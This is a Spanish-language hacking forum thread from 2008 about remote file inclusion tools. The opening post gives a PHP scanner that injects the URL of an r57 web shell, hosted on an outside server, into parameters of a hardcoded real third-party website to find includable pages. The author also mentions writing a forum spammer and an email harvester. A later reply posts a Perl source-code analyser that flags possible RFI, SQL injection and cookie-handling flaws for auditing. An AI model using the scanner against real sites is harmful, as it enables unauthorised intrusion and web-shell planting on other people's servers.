Autor
|
Tema: Scanner RFI simple en PHP (Leído 6,627 veces)
|
alienmaster
Desconectado
Mensajes: 41
SK8ORDIE
|
Hace un tiempo estuve pensando volver al hacking, en ese caso era entrar a S.H.T. (Spanish Hackers Team), y hablando con Joss me comento de hacer algun tool para hacer scanner masivamente a webs insertadas en un txt, lo comence de forma simple con la idea de mas tarde empliarlo para esvanear uns lista de webs, es decir que solo puede escanear una web, pero vamos que si sabes algo de php no te sera dificil modificarlo para que escanee todas las webs almacenadas en un txt. El escaner funciona de la siguiente manera: 1. Escanea el codigo fuente de la web en busca de variables en enlaces internos ( ej: web.com/index.php?sección=pepe) 2. A las variables anteriores se le suman otras que el scanner trae por defecto, variables tipicas de modulacion de archivos. 3. Analiza distintos tipos de combinaciones de la web con esas variables y el valor de las variables una shell, y en caso de haber RFI te alerta. Bien, por ultimo os dejo aqui el codigo, si veo que tras haber liberado este codigo no llega la plaga de gentuza modificando los creditos (que ya me ha ocurrido :S) seguire publicando tools que e programado, como por ejemplo algunas de ellas son un spammer para vbulletin, un spider de emails en foros, shell personal, entre otros... Saludos especiales a Joss y nhh-32 ^^ scanner.php<? /* RFI Scanner 1.0 Author: elefrEn Website: http://elefren.com/ email: efnworkz@hotmail.com
Dedicated to Spanish Hackers Team Gr33tz: -> JosS | nhh-32 | Omega <- */
set_time_limit(0);
#Config $urlweb = "www.guia-ubuntu.org";# Out http://, ex: google.com $urlshell = "http://usuarios.lycos.es/w0rms/r57.gif";# Url where you sent the shell script $comunvars = "cual|admindir|sec|id|file|doc|module|modulo|name";# Comun vars vulns to RFI in cms´s, etc... $filetoscan = "index.php";# The file that you want scan
#Funcs function vars($url){
$xpl = parse_url($url);$xpl = $xpl[query];$xpl = explode("&",$xpl);
$var = 0;
while($var < count($xpl)){
$v4r = explode("=",$xpl[$var]);
$m0s .= '|'.$v4r[0];
$var++;
}
$m0s = str_replace('amp;','',$m0s);
return $m0s; } function beerres($list, $barras = FALSE){
$s3p4 = '<br>';
if($barras) $s3p4 = '|';
$list = explode('|',$list);
$var = 0;
while($var < count($list)){
if($list[$var] != ''){
if(!@preg_match("/$list[$var]/i",$m0s) ){
$m0s .= $list[$var].$s3p4;
}
}
$var++;
}
return $m0s; } function extrac($n00b, $file = FALSE){
$n0ob = 'http://'.$n00b;
$source = join("",file(&$n0ob));
$vars = preg_match_all('/<a href="'.$file.'(.*)">(.*)<\/a>/i',$source,$results);
$t0t = count($results[1]);
$var = 0;
while($var < $t0t){
$xtr = explode('"',$results[1][$var]);
$urllist .= $xtr[0].'|';
$varlist .= vars($xtr[0]);
$var++;
}
$m0s .= $varlist;
return beerres($m0s,1); } function rfi($vars,$web,$file,$urlshell){
$list = explode('|',$vars);
$var = 0;
while($var < count($list)){
$url = $web.$file."?".$list[$var]."=".$urlshell."?";
$source = join("",file(&$url));
if(preg_match("/shell/i",$source)){
$m0s .= "<font color=red><b>RFI-></b></font> ";
}else{
$m0s .= "<font color=green><b>Secure-></b></font> ";
}
$m0s .= $url.'<br>';
$var++;
}
return $m0s; }
#Exec echo rfi(extrac($urlweb).$comunvars,'http://'.$urlweb.'/',$filetoscan,$urlshell); ?>
|
|
« Última modificación: 3 Octubre 2008, 13:00 pm por alienmaster »
|
En línea
|
|
|
|
pepeluxx
Desconectado
Mensajes: 347
Todos los días se aprende algo nuevo
|
Eso funciona? Yo tengo un scanner de RFI en perl (un fuzzer) y basicamente lo que hago es: 1- abro el fichero PHP a analizar y le adjunto cada include o require que veo (ya que puedes tener definidas las variables en otro fichero que incluyas antes) 2- busco los require, include, require_once e include_once que cargen alguna variable (tipo $loquesea) 3- por cada include o require que encuentro, vuelvo a revisar el codigo a ver si esta o no definido 4- en el caso de que no este definido, es un posible RFI Tambien hay que tener en cuenta las funciones (si el require o include esta dentro de una funcion, no puedes aprovecharte de el, ya que el parametro se pasa a la funcion) Un saludo
|
|
|
En línea
|
|
|
|
alienmaster
Desconectado
Mensajes: 41
SK8ORDIE
|
Eso funciona? Yo tengo un scanner de RFI en perl (un fuzzer) y basicamente lo que hago es: 1- abro el fichero PHP a analizar y le adjunto cada include o require que veo (ya que puedes tener definidas las variables en otro fichero que incluyas antes) 2- busco los require, include, require_once e include_once que cargen alguna variable (tipo $loquesea) 3- por cada include o require que encuentro, vuelvo a revisar el codigo a ver si esta o no definido 4- en el caso de que no este definido, es un posible RFI Tambien hay que tener en cuenta las funciones (si el require o include esta dentro de una funcion, no puedes aprovecharte de el, ya que el parametro se pasa a la funcion) Un saludo Si, funciona. Lo que creo que dices que has programado es un scanner de codigo fuente PHP, el scanner que yo publico es analizando una web a la cual no tiene acceso a su codigo php. Saludos
|
|
|
En línea
|
|
|
|
|
berz3k
|
@pepeluxx
No veo por ningun lado la tool/fuzzer que comentas pepelux, post link or source code
-berz3k.
|
|
|
En línea
|
|
|
|
pepeluxx
Desconectado
Mensajes: 347
Todos los días se aprende algo nuevo
|
Pues no lo puse porque esta a medias ... pero bueno, a falta de muchas revisiones y demas, pongo lo que llego hecho por si a alguien le es de utilidad ... y antes de que critiqueis .... ESTA A MEDIAS y NO CONTROLO MUCHO DE PERL Tiene 3 opciones de busqueda: >> RFI (Remote File Inclusion) << Busca requires, includes, require_once, include_once que llamen a variables (no tiene en cuenta las funciones) y es lo que mas depurado tengo >> ICH (Insecure Cookie Handling) << Basicamente lo que hace es buscar apariciones de $_COOKIE ... no sirve de mucho pero te orienta acerca del uso de cookies y donde los usa >> SQL (SQL Injection) << Busca posibles fallos de SQL en los que no estan definidas las variables que usa (por terminar) No da resultados exactos ya que hay que hacer demasiadas comprobaciones y esta a medio programar, pero sirve para coger una orientacion de donde buscar los fallos. Aqui van los codes ... ---- phpfuzzer.pl --- #! /usr/bin/perl
require 'scan.pm';
require 'rfi.pm';
require 'ich.pm';
require 'sql.pm';
@ficheros = (); # nombre del fichero afectado
@comandos = (); # comando que tiene el fallo
@lineas = (); # linea del fichero donde esta el fallo
@vbles = (); # vable afectada
@tipos = (); # tipo de fallo (RFI / SQL)
$log = "log.txt";
$lista_ficheros = "fichero.txt";
$fichero_tmp = "tmp.ph_";
open(LOG, ">$log");
print "\e[2J";
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
#system(($^O eq 'MSWin32') ? ($so = "WINDOWS") : ($so = "LINUX"));
uso();
$ruta = $ARGV[0]; $ruta !~ /\/$/;
imprime("=- Directory to scan: $ruta*.php\"\n");
# creamos un listado de todos los ficheros PHP del directorio y subdirectorios
open(FICHERO, ">$lista_ficheros");
buscar_ficheros_php($ruta);
close(FICHERO);
#### comprobamos vulnerabilidades ####
# comprobamos las vulnerabilidades RFI if ($modo =~ /RFI/) {
rfi();
for ($i = 0; $i <= $#ficheros; $i++)
{
if ($tipos[$i] eq 'RFI')
{
print " Possible Remote File Inclusion vulnerability found:\n";
print " > File affected: $ficheros[$i]";
print " > Sentence: $lineas[$i] -> $comandos[$i]\n";
print " > Variable: = \$$vbles[$i]\n\n";
print LOG " Possible Remote File Inclusion vulnerability found:\n";
print LOG " > File affected: $ficheros[$i]";
print LOG " > Sentence: $lineas[$i] -> $comandos[$i]\n";
print LOG " > Variable: = \$$vbles[$i]\n\n";
}
}
print "\n"; }
#### comprobamos vulnerabilidades ####
# comprobamos las vulnerabilidades ICH if ($modo =~ /ICH/) {
ich();
for ($i = 0; $i <= $#ficheros; $i++)
{
if ($tipos[$i] eq 'ICH')
{
print " Possible Insecure Cookie Handling vulnerability found:\n";
print " > File affected: $ficheros[$i]";
print " > Sentence: $lineas[$i] -> $comandos[$i]\n\n";
print LOG " Possible Insecure Cookie Handling vulnerability found:\n";
print LOG " > File affected: $ficheros[$i]";
print LOG " > Sentence: $lineas[$i] -> $comandos[$i]\n\n";
}
}
print "\n"; }
# comprobamos las vulnerabilidades SQL
if ($modo =~ /SQL/) {
sql();
for ($i = 0; $i <= $#ficheros; $i++)
{
if ($tipos[$i] eq 'SQL')
{
print " Possible Remote SQL Injection vulnerability found:\n";
print " > File affected: $ficheros[$i]";
print " > Sentence: $comandos[$i]\n";
print " > Variable: = \$$vbles[$i]\n\n";
}
}
print "\n";
}
imprime(":: End\n");
imprime(" |===|");
close(LOG);
print "\t << Log file was saved as $log >>\n\n";
sub uso()
{
imprime("=-|========================================-{ http://www.enye-sec.org }-=====|\n");
imprime("=-[ PHP Fuzzer v1.0 ]-=====================================================-=|\n");
imprime("=-|==========================================================================|\n");
imprime("=-[ by Pepelux <pepelux[at]enye-sec[dot]org> ]-==============================|\n\n");
$modo = "SQL RFI ICH";
ayuda() if ($#ARGV < 0 || $#ARGV > 1);
if ($#ARGV == 1)
{
if ($ARGV[1] eq 'SQL' || $ARGV[1] eq 'RFI' || $ARGV[1] eq 'ICH')
{ $modo = $ARGV[1];
}
else
{
ayuda();
}
}
}
sub ayuda()
{
print "Usage: perl $0 <directory_path> [RFI | SQL | ICH]\n\n";
print "\texamples:\n"; print "\t Scan for RFI & SQL: perl $0 myPHPSite/src\n";
print "\t Scan for SQL only : perl $0 myPHPSite/src SQL\n";
print "\t Scan for RFI only : perl $0 myPHPSite/src\ RFI\n\n";
print "\t Scan for ICH only : perl $0 myPHPSite/src\ ICH\n\n";
close(LOG);
exit();
}
sub imprime()
{
my $texto = shift;
print "$texto";
print LOG "$texto";
}
---- scan.pm --- ##############################################
# Search all PHP files in the (sub)directory #
##############################################
sub buscar_ficheros_php()
{
my $dir = shift;
if (opendir(DIRECTORIO, "$dir"))
{
foreach (readdir(DIRECTORIO))
{
# ignoramos . y ..
next if ($_ eq "." || $_ eq "..");
# buscamos los ficheros terminados en .php
if ($_ =~ /.php$/)
{
print FICHERO "$dir/$_\n";
}
buscar_ficheros_php("$dir/$_") if (-d "$dir/$_" && ! -l "$dir/$_");
}
closedir DIRECTORIO;
}
else
{
print "ERROR: can not read directory $dir\n";
}
}
1;
---- rfi.pm --- sub rfi()
{
print "\n:: Searching for possible Remote File Inclusion vulnerabilities\n";
print " |============================================================|\n";
print LOG "\n:: Searching for possible Remote File Inclusion vulnerabilities\n";
print LOG " |============================================================|\n";
$encontrado = 0;
open(FICHERO, "$lista_ficheros");
while(<FICHERO>)
{
$fichero_original = $_;
organizar_fichero($_);
buscar_rfi($fichero_original, $fichero_tmp);
}
if ($encontrado == 0)
{
print " Not RFI vulnerabilities found\n";
print LOG " Not RFI vulnerabilities found\n";
}
close(FICHERO);
}
##############################
# Read a PHP for search RFIs #
##############################
sub buscar_rfi()
{
my $file = shift;
my $fileTmp = shift;
$clinea = 0;
open FICHERO_PHP, $file;
while(<FICHERO_PHP>)
{
$clinea++;
# buscamos includes o requires seguidos de ($
$cadena = $_;
if (($cadena =~ /^\s*require\s*\(/ || $cadena =~ /^\s*require\s*\"/ || $cadena =~ /^\s*require_once\s*\(/ || $cadena =~ /^\s*require_once\s*\"/ || $cadena =~ /^\s*include\s*\(/ || $cadena =~ /^\s*include\s*\"/ || $cadena =~ /^\s*include_once\s*\(/ || $cadena =~ /^\s*include_once\s*\"/ ) && $cadena !~ "^//" && $cadena =~ "\$") { $linea_original = $_;
@matriz = ();
extraer_datos_rfi($cadena);
for ($i = 0; $i <= $#matriz; $i++) { $cadena = $matriz[$i];
if (uc($cadena) !~ /_GET/ && uc($cadena) !~ /_POST/ && uc($cadena) !~ /_COOKIE/) {
if (uc($cadena) =~ /\[/ || uc($cadena) =~ /\]/) {
$cadena = ""; }
}
if (length($cadena) > 0)
{
if (!comprobar_rfi($fileTmp, $cadena) == 0)
{
$encontrado = 1; $linea_original =~ s/\s*//g;
push(@ficheros, $fichero_original);
push(@comandos, $linea_original);
push(@lineas, $clinea);
push(@vbles, $cadena);
push(@tipos, "RFI");
}
}
} }
}
close FICHERO_PHP;
}
sub comprobar_rfi()
{
my $file = shift;
my $var = shift;
chop($var); open FICHERO_PHP2, $file;
while(<FICHERO_PHP2>)
{ $tmp = $_; $tmp =~ s/\s*//g; chop($tmp);
if ($tmp =~ /$var[A-Z|a-z]*\s*=/)
{ $x = index($tmp, $var); if ($x < 2) { close(FICHERO_PHP2);
return 0; }
}
}
close(FICHERO_PHP2);
return 1;
}
sub extraer_datos_rfi() { $cadena = shift; $cadena =~ s/\s*require_once\s*//g; $cadena =~ s/\s*require\s*//g; $cadena =~ s/\s*include_once\s*//g; $cadena =~ s/\s*include\s*//g; $cadena =~ s/\(//g;
$cadena =~ s/\)\s*\;//g;
$cadena =~ s/\s*\n$//g;
$cadena =~ s/\s*;$//g;
$cadena =~ s/\s*\)$//g;
$cadena =~ s/\s*\"$//g;
do { $x = index($cadena, "\$"); if ($x > -1) { $y = 999; $y1 = index($cadena, "\.", $x)-1; $y2 = index($cadena, "/", $x)-1; $y3 = index($cadena, ")", $x)-1; if ($y1 < 0) { $y1 = 999; } if ($y2 < 0) { $y2 = 999; } if ($y3 < 0) { $y3 = 999; } if ($y1 < $y) { $y = $ y1; } if ($y2 < $y) { $y = $ y2; } if ($y3 < $y) { $y = $ y3; }
if ($y > 0 && $y < 999) { $valor = substr($cadena, $x+1, $y-$x); push(@matriz, $valor); $cadena = substr($cadena, $y+1, length($cadena)-$y); } else { $valor = substr($cadena, $x+1, length($cadena)-$x-1); push(@matriz, $valor); $x = -1; } } } while($x > 0); }
1;
---- ich.pm --- sub ich()
{
print "\n:: Searching for possible Insecure Cookie Handling vulnerabilities\n";
print " |===============================================================|\n";
print LOG "\n:: Searching for possible Insecure Cookie Handling vulnerabilities\n";
print LOG " |===============================================================|\n";
$encontrado = 0;
open(FICHERO, "$lista_ficheros");
while(<FICHERO>)
{
$fichero_original = $_;
organizar_fichero($_);
buscar_ich($fichero_original, $fichero_tmp);
}
if ($encontrado == 0)
{
print " Not ICH vulnerabilities found\n";
print LOG " Not ICH vulnerabilities found\n";
}
close(FICHERO);
}
##############################
# Read a PHP for search ICHs #
##############################
sub buscar_ich()
{
my $file = shift;
my $fileTmp = shift;
$clinea = 0;
open FICHERO_PHP, $file;
while(<FICHERO_PHP>)
{
$clinea++;
# buscamos includes o requires seguidos de ($
$cadena = $_;
if ($cadena =~ /\$_COOKIE/ && $cadena !~ "^//") { $linea_original = $_;
@matriz = ();
$encontrado = 1; $linea_original =~ s/\s*//g;
push(@ficheros, $fichero_original);
push(@comandos, $linea_original);
push(@lineas, $clinea);
push(@vbles, '');
push(@tipos, "ICH");
}
}
close FICHERO_PHP;
}
1;
---- sql.pm --- require "unir.pm";
sub sql()
{
print "\n:: Searching for possible SQL Injection vulnerabilities\n";
print " |====================================================|\n";
print LOG "\n:: Searching for possible SQL Injection vulnerabilities\n";
print LOG " |====================================================|\n";
$encontrado = 0;
open(FICHERO, "$lista_ficheros");
while(<FICHERO>)
{
$fichero_original = $_;
# print " Creating a tmp file with: $_";
print LOG " Creating a tmp file with: $_";
@includes = ();
organizar_fichero($_);
# print "\n Analyzing vars in SQL SELECT sentences\n";
print LOG "\n Analyzing vars in SQL SELECT sentences\n";
buscar_select($fichero_tmp);
# print "\n";
print LOG "\n";
}
if ($encontrado == 0)
{
print " Not SQL vulnerabilities found\n";
print LOG " Not SQL vulnerabilities found\n";
}
close(FICHERO);
}
#######################################
# Search vars in SQL SELECT sentences #
#######################################
sub buscar_select()
{
my $file = shift;
open FICHERO_PHP, $file;
while(<FICHERO_PHP>)
{
$linea = $_;
$linea_entera = $linea;
# dejamos la linea en blanco en caso de que sea un comentario
$linea = "" if ($linea =~ /^\s*\/\//);
if ((uc($linea) =~ "SELECT" && uc($linea) =~ "FROM" && uc($linea) =~ "WHERE") ||
(uc($linea) =~ "UPDATE" && uc($linea) =~ "SET" && uc($linea) =~ "WHERE") ||
(uc($linea) =~ "DELETE" && uc($linea) =~ "FROM" && uc($linea) =~ "WHERE") ||
(uc($linea) =~ "INSERT" && uc($linea) =~ "INTO"))
{
$cadena = $linea;
$ini = index($cadena, "\"") + 1;
$cadena = substr($cadena, $ini, length($cadena) - $ini);
$fin = index($cadena, ";");
$cadena = substr($cadena, 0, $fin) if $fin > -1;
if ($cadena =~ /\$/)
{
# print " > Found: $cadena\n";
print LOG " > Found: $cadena\n";
if (uc($linea) =~ "INSERT" && uc($linea) =~ "INTO" && uc($linea) =~ "VALUES")
{
# buscamos a partir de VALUES
$ini = index(uc($linea), "VALUES") + 6;
}
else
{
if (uc($linea) =~ "INSERT" && uc($linea) =~ "INTO")
{
# buscamos a partir de INTO
$ini = index(uc($linea), "INTO") + 6;
}
else
{
# buscamos a partir de WHERE
$ini = index(uc($linea), "WHERE") + 5;
}
}
$linea = substr($linea, $ini, length($linea) - $ini);
$salir = 0;
do
{
# buscamos a partir de $, que identifica la variable
$ini = index($linea, "\$") + 1;
if ($ini == 0)
{
$salir = 1;
}
else
{
$linea = substr($linea, $ini, length($linea) - $ini);
$sentencia = $linea;
if (uc($sentencia) =~ "_GET")
{
$ini = index($sentencia, "_GET");
$fin = index($sentencia, "\]");
$sentencia = substr($linea, $ini+6, $fin-$ini-7);
}
if (uc($sentencia) =~ "_POST")
{
$ini = index($sentencia, "_POST");
$fin = index($sentencia, "\]");
$sentencia = substr($linea, $ini+7, $fin-$ini-8);
}
# cortamos en ) si existe
$fin = index($sentencia, "\)");
$sentencia = substr($sentencia, 0, $fin) if $fin > -1;
# cortamos en ' si existe
$fin = index($sentencia, "\'");
$sentencia = substr($sentencia, 0, $fin) if $fin > -1;
# cortamos en " si existe
$fin = index($sentencia, "\"");
$sentencia = substr($sentencia, 0, $fin) if $fin > -1;
# cortamos en . si existe
$fin = index($sentencia, ".");
$sentencia = substr($sentencia, 0, $fin) if $fin > -1;
# quitamos basura del final
$fin = index($sentencia, " ");
$sentencia = substr($sentencia, 0, $fin) if $fin > -1;
$fin = index($sentencia, "%");
$sentencia = substr($sentencia, 0, $fin) if $fin > -1;
$fin = index($sentencia, ";");
$sentencia = substr($sentencia, 0, $fin) if $fin > -1;
$fin = index($sentencia, ",");
$sentencia = substr($sentencia, 0, $fin) if $fin > -1;
if ($sentencia =~ /\[/ || $sentencia =~ /\]/ || $sentencia =~ /->/)
{
$sentencia = "";
}
if (length($sentencia) > 0)
{
$encontrado = 1;
if (comprobar_sql($file, $sentencia) == 0)
{
# print "\tChecking var: \$$sentencia ... not vulnerable\n\n";
print LOG "\tChecking var: \$$sentencia ... not vulnerable\n\n";
}
else
{
push(@ficheros, $fichero_original);
push(@comandos, $cadena);
push(@lineas, $lin);
push(@vbles, $sentencia);
push(@tipos, "SQL");
# print "\tChecking var: \$$sentencia ... VULNERABLE\n";
print LOG "\tChecking var: \$$sentencia ... VULNERABLE\n";
}
}
}
} while ($salir == 0);
# print "\n";
print LOG "\n";
}
}
}
close FICHERO_PHP;
}
sub comprobar_sql()
{
my $file = shift;
my $var = shift;
open FICHERO_PHP2, $file;
while(<FICHERO_PHP2>)
{
if ($_ =~ /\$$var\s*=/)
{
close(FICHERO_PHP2);
return 0;
}
}
close(FICHERO_PHP2);
return 1;
}
1;
---- unir.pm --- ###########################################################
# Organize a PHP file including all includes and requires #
###########################################################
sub organizar_fichero()
{
my $file = shift;
$cont = 0;
$clinea = 0;
open FICHERO_PHP, $file;
open FICHERO_TMP, ">$fichero_tmp";
while(<FICHERO_PHP>)
{
$clinea++;
$linea = uc($_);
# buscamos includes o requires seguidos de ("
# si encontramos alguno incluimos su contenido
# dentro del fichero temporal
if (($_ =~ /require\s*\(/ || $_ =~ /require\s*\"/ ||
$_ =~ /require_once\s*\(/ || $_ =~ /require_once\s*\"/ ||
$_ =~ /include\s*\(/ || $_ =~ /include\s*\"/ ||
$_ =~ /include_once\s*\(/ || $_ =~ /include_once\s*\"/ )
&& $_ !~ "^//" && $_ !~/\$/)
{
$cadena = $_;
$ini = index($cadena, "\"") + 1;
$fin = index($cadena, "\"", $ini) - $ini;
$cadena = substr($cadena, $ini, $fin);
$cadenatmp = $file;
$ruta = '';
do
{
$ini = index($cadenatmp, '/');
$fin = length($cadenatmp) - $ini;
$ruta .= substr($cadenatmp, 0, $ini+1);
$cadenatmp = substr($cadenatmp, $ini+1, $fin);
} until ($ini == -1);
$ruta .= $cadena;
push(@includes, $ruta);
# print " > Including: $ruta\n";
open FICHERO_INCLUDE, $ruta;
while(<FICHERO_INCLUDE>)
{
print FICHERO_TMP $_;
}
print FICHERO_TMP "\n";
close FICHERO_INCLUDE;
}
else
{
print FICHERO_TMP $_;
}
}
close FICHERO_TMP;
close FICHERO_PHP; }
1;
|
|
|
En línea
|
|
|
|
berz3k
|
Vale pepeluxx, lo pruebo y te comento.
-berz3k.
|
|
|
En línea
|
|
|
|
|
|
sirdarckcat
Aspirante a supervillano
Moderador
Desconectado
Mensajes: 7.029
No estoy loco, soy mentalmente divergente
|
no tiene que ser muy grande para usar SVN.. en este caso serviria perfectamente para que no tengas que subir el código cada que le hagas una modificación.. solo clickderecho->commit
Saludos!!
|
|
|
En línea
|
|
|
|
|
|